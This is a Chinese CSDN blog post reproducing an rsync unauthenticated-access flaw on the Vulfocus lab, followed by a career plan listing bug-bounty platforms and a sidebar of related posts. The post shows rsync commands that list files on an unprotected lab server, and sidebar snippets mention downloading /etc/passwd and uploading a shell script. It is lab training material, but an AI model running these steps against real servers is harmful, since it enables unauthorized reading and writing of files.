【漏洞复现-rsync-未授权访问】vulfocus/rsync-common

已于 2023-01-06 20:34:32 修改
阅读量1.1k 收藏 5
点赞数
分类专栏： 0X06【漏洞复现】 文章标签： web安全
于 2022-10-16 09:53:12 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_53079406/article/details/127342719
版权

  

前言：

介绍： 

博主：网络安全领域狂热爱好者（承诺在CSDN永久无偿分享文章）。

殊荣：CSDN网络安全领域优质创作者，2022年双十一业务安全保卫战-某厂第一名，某厂特邀数字业务安全研究员，edusrc高白帽，vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长：对于技术、工具、漏洞原理、黑产打击的研究。

C站缘：C站的前辈，引领我度过了一个又一个技术的瓶颈期、迷茫期。

导读：

面向读者：对于网络安全方面的学者。 

本文知识点（读者自测）： 

（1）远程访问——rsync服务未设置密码（√）

目录

一、靶场环境

1.1、平台：

1.2、知识:

1.3、描述：

二、漏洞验证

2.1、分析：

2.4、解题：

一、靶场环境

1.1、平台：

Vulfocus 漏洞威胁分析平台

123.58.224.8:13452

1.2、知识:

1、rsync

rsync是linux系统下的数据镜像备份工具。使用快速增量备份工具Remote Sync可以可以在本地计算机与远程计算机之间（与其他SSH、rsync主机同步），或者两个本地目录之间同步文件（但不支持两台远程计算机之间的同步）。 已支持跨平台，可以在Windows与Linux间进行数据同步。

也可以当作文件复制工具，替代cp和mv命令。 它名称里面的r指的是 remote，rsync 其实就是"远程同步"（remote sync）

……

1.3、描述：

rsync是Linux下一款数据备份工具，支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口，如果目标开启了rsync服务，并且没有配置ACL或访问密码，我们将可以读写目标服务器文件。

二、漏洞验证

2.1、分析：

输入rsync，有回显版本和命令

（说明已经安装了rsync）

rsync rsync://123.58.224.8:13452/src/

2.4、解题：

rsync rsync://123.58.224.8:13452/src/tmp/

网络安全三年之约

First year 

掌握各种原理、不断打新的靶场

目标：edusrc、cnvd 

主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/

second year 

不断学习、提升技术运用技巧，研究各种新平台

开始建立自己的渗透体系

目标：众测平台、企业src应急响应中心 

众测平台URL
漏洞盒子漏洞盒子 | 互联网安全测试众测平台
火线安全平台火线安全平台
漏洞银行BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台
360漏洞众包响应平台360漏洞云漏洞众包响应平台
补天平台（奇安信）补天 - 企业和白帽子共赢的漏洞响应平台，帮助企业建立SRC
春秋云测首页
雷神众测（可信众测，安恒）雷神众测 - BountyTeam
云众可信（启明星辰）云众可信 - 互联网安全服务引领者
ALLSECALLSEC
360众测360众测平台
看雪众测（物联网）https://ce.kanxue.com/
CNVD众测平台网络安全众测平台
工控互联网安全测试平台CNCERT工业互联网安全测试平台
慢雾（区块链）Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone
平安汇聚http://isrc.pingan.com/homePage/index

互联网大厂URL
阿里https://asrc.alibaba.com/#/
腾讯https://security.tencent.com/
百度https://bsrc.baidu.com/v2/#/home
美团https://security.meituan.com/#/home
360https://security.360.cn/
网易https://aq.163.com/
字节跳动https://security.bytedance.com/
京东https://security.jd.com/#/
新浪http://sec.sina.com.cn/
微博https://wsrc.weibo.com/
搜狗http://sec.sogou.com/
金山办公https://security.wps.cn/
有赞https://src.youzan.com/

Third Year 

学习最新的知识，建全自己的渗透体系

目标：参与护网（每一个男孩子心中的梦想） 

时间：一般5月面试，6/7月开始（持续2-3周）

分类：国家级护网、省级护网、市级护网、重大节日护网（如：建党、冬奥等）

黑色地带（崛起）
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
攻防世界流量分析2杂项
11-20
攻防世界流量分析2杂项，misc。 此题详细解题博客：https://danbaku.blog.csdn.net/article/details/127953659
CVE-2019-7238.py
10-25
# CVE-2019-7238 Nexus Repository Manager 3 Remote Code Execution without authentication < 3.15.0 found by Rico Tencent Security Yunding Lab and [@voidfyoo](https://twitter.com/voidfyoo)
攻防世界杂项m0-01
11-13
攻防世界杂项m0_01，misc。 此题详细解题博客：https://blog.csdn.net/m0_59188912/article/details/127836871
drone-rsync：Drone插件，用于将文件和目录同步到远程服务器
02-05
drone-rsync：Drone插件，用于将文件和目录同步到远程服务器
dired-rsync：支持来自Emacs Dired缓冲区的rsync
02-05
dired-rsync：支持来自Emacs Dired缓冲区的rsync
每日漏洞 | rsync未授权访问
03-12 3756
每日漏洞 | rsync未授权访问
rsync 未授权访问漏洞
weixin_59086772的博客
12-28 7304
雨笋教育小编来分享干货了，感兴趣的可以一同探讨。 0x00前言 rsync是Linux下一款数据备份工具，支持通过rsync协议、ssh协议进行远程文件传输。 0x01漏洞原理 rsync协议默认监听873端口，如果目标开启了rsync服务，并且没有配置ACL或访问密码，我们将可以读写目标服务器文件。 0x02漏洞危害 rsync未授权访问会造成严重的信息泄露，攻击者可以上传脚本后门文件，远程命令执行。 0x03环境搭建 docker-compose.yml version: '2' s
rsync未授权访问漏洞利用复现
技术超强的网络安全平台
05-07 1020
一、Rsync简介Rsync是Linux下一款数据备份工具，它在同步文件的同时，可以保持原来文件的权限、时间、软硬链接等附加信息。同时支持通过rsync协议、ssh协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新，因此使用人群多为开发人员。其中rsync协议默认监听873端口，而一般开发人员安全意识薄弱的情况下，如果目标开启了rsync服务，并且没有配置ACL或访问密码，而rsync默认是root权限，我们将可以读写目标服务器文件。二、利用条件rsync默认允许匿名访问，也可在其配置文件中为同
rsync未授权访问
最新发布
m0_65150886的博客
01-16 533
rsync是Linux/Unix下的一个远程数据同步工具，可通过LAN/WAN快速同步多台主机间的文件和目录，默认运行在873端口。由于配置不当，导致任何人可未授权访问rsync，上传本地文件，下载服务器文件。3.根据文件信息，可以看到src是文件根目录，可以下载任意文件，此处下载/etc/passwd到当前目录。2.权限控制，设置read only=yes，模块设置为只读；10.将shell.sh上传至/tmp/shell.sh。4.模块隐藏，设置list，将模块隐藏起来。查看src模块下的文件。
服务安全-应用协议rsync未授权&ssh漏洞复现
rumil的博客
10-16 1319
libssh是一个在客户端和服务器端实现SSHv2协议的多平台C库。其中rsync协议默认监听873端口，如果目标开启了rsync服务，并且没有配 置ACL或访问密码，我们将可以读写目标服务器文件。OpenSSH 7.7前存在一个用户名枚举漏洞，通过该漏洞，攻击者可以判断某个用户名是否存在于目标主机中。表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令。rsync是Linux下一款数据备份工具，支持通过rsync协议、ssh协议进行远程文件传输。
ranger-2.1.0-usersync.tar.gz
08-09
ranger-2.1.0-usersync.tar.gz
攻防世界running
11-15
攻防世界running杂项，misc。 此题详细解题博客：https://blog.csdn.net/m0_59188912/article/details/127861757
docker-rsync-sshd:openssh-server仅限rsync:spouting_whale:
04-02
泊坞窗：openssh服务器仅限于rsync :spouting_whale: 回购： : 码头工人中心： : SSH客户端只能通过rsync --server命令。 rrsync将/data前缀到所有路径（例如rsync ... host:/src /backup下载/data/src ）。 例子1 $ docker run --name=rsync-sshd -p 2022:22 -e USERS=alice,bob -v rsync-data:/data:ro fphammerle/rsync-sshd $ docker cp alice-keys rsync-sshd:/home/alice/.ssh/authorized_keys $ docker cp bob-keys rsync-sshd:/home/bob/.ssh/authorized_keys 例子2 $ docker run
exodus-rsync:用于rsync的exodus-aware替代产品
03-11
出埃及同步 用于rsync的exodus-aware替代产品。 概述 exodus-rsync是一个命令行文件传输工具，与部分兼容。 exodus-rsync不是通过rsync协议传输内容，而是通过上传和发布内容。 有关 -rsync如何与Exodus CDN项目系列中的其他项目一起工作的更多信息，请参见。 安装 exodus-rsync是一个独立的linux-amd64二进制文件，可以从下载。 它的目的是要装像了rsync命令$PATH ，未来真正的rsync命令。 在典型情况下，这可以通过安装到/usr/local/bin来完成，例如： curl -LO https://github.com/release-engineering/exodus-rsync/releases/latest/download/exodus-rsync chmod +x exodus-rsync m
rsync未授权访问漏洞
Kevin's Blog
08-06 3051
文章目录一、漏洞介绍二、漏洞环境三、漏洞利用3.1 漏洞探测3.2 漏洞利用（下载任意文件）3.3 漏洞利用（提权、反弹shell）四、修复建议 一、漏洞介绍 二、漏洞环境 三、漏洞利用 3.1 漏洞探测 》》nmap扫描对方是否存在rsync服务，默认端口873，可能更改成了其它端口 》》列出目标服务器目录：（两个方法皆可） 》》查看目录中的文件，如能查看说明存在未授权访问漏洞 或者 rsync rsync://<ip>:<port>/src 3.2 漏洞利用（下载任意文件
CVE-2019-8442：[Jira]未授权敏感信息泄露
公众号shadow sock7
08-19 5585
https://note.youdao.com/ynoteshare1/index.html?id=4189e6fb21fb097a4109ac22f33b16cb&type=note 只是urlrewrite，不是那种直接读文件的，所以如果请求jsp的话，不会返回源码。只能读到一些不敏感的配置文件，所以影响有限。 ...
rsync未授权漏洞复现
weixin_45006525的博客
03-31 5704
漏洞简介： rsync是linux系统下的数据镜像备份工具，使用rsync可以快速增量备份数据，支持本地复制，或与其他ssh、rsync主机同步。该协议默认监听873端口，如果目标开启rsync，并且没有配置ACL或访问密码，就可以未授权读写目标服务器文件。 环境搭建： 本此环境使用docker-vulhub 进入vulhub-rsync,运行docker-compose up -d 环境搭建完成后，用nmap扫描一下，发现服务已经启动 漏洞复现 1.列出模块下的文件 2.下载任意文件 rsync r
Rsync未授权访问 getshell——漏洞复现
W小哥
11-09 3572
一、 Rsync未授权访问漏洞介绍 rsync是Linux下一款数据备份工具，支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口，如果目标开启了rsync服务，并且没有配置ACL或访问密码，我们将可以读写目标服务器文件。 二、靶场搭建 靶机： ubuntu IP: 192.168.241.142 攻击机： kali IP: 192.168.241.128 直接使用 vluhub 环境了 cd rsync/common docker-compose build docke
#!/bin/bash rsync -avz rsync -avz rsync -avz rsync -avz
07-23
这个脚本看起来只是简单地执行了四次相同的 rsync 命令，并没有指定具体的源文件和目标位置，因此无法完成实际的文件同步操作。如果你想要同步文件，你需要提供源文件和目标位置的具体路径。 以下是一个示例脚本，它使用循环来执行四次 rsync 命令，并指定了源文件和目标位置： ```bash #!/bin/bash # 设置需要同步的服务器列表 servers=("AS2" "AS3" "AS4") # 设置需要同步的文件或目录 source_dir="/path/to/source" target_dir="/path/to/target" # 循环同步文件到每个服务器 for server in "${servers[@]}"; do rsync -avz "$source_dir" "$server:$target_dir" done ``` 请将 `source_dir` 替换为源文件或目录的实际路径，将 `target_dir` 替换为目标位置的实际路径，然后运行脚本。这样，它将会按照你指定的路径来同步文件到每个服务器。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带（崛起）

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值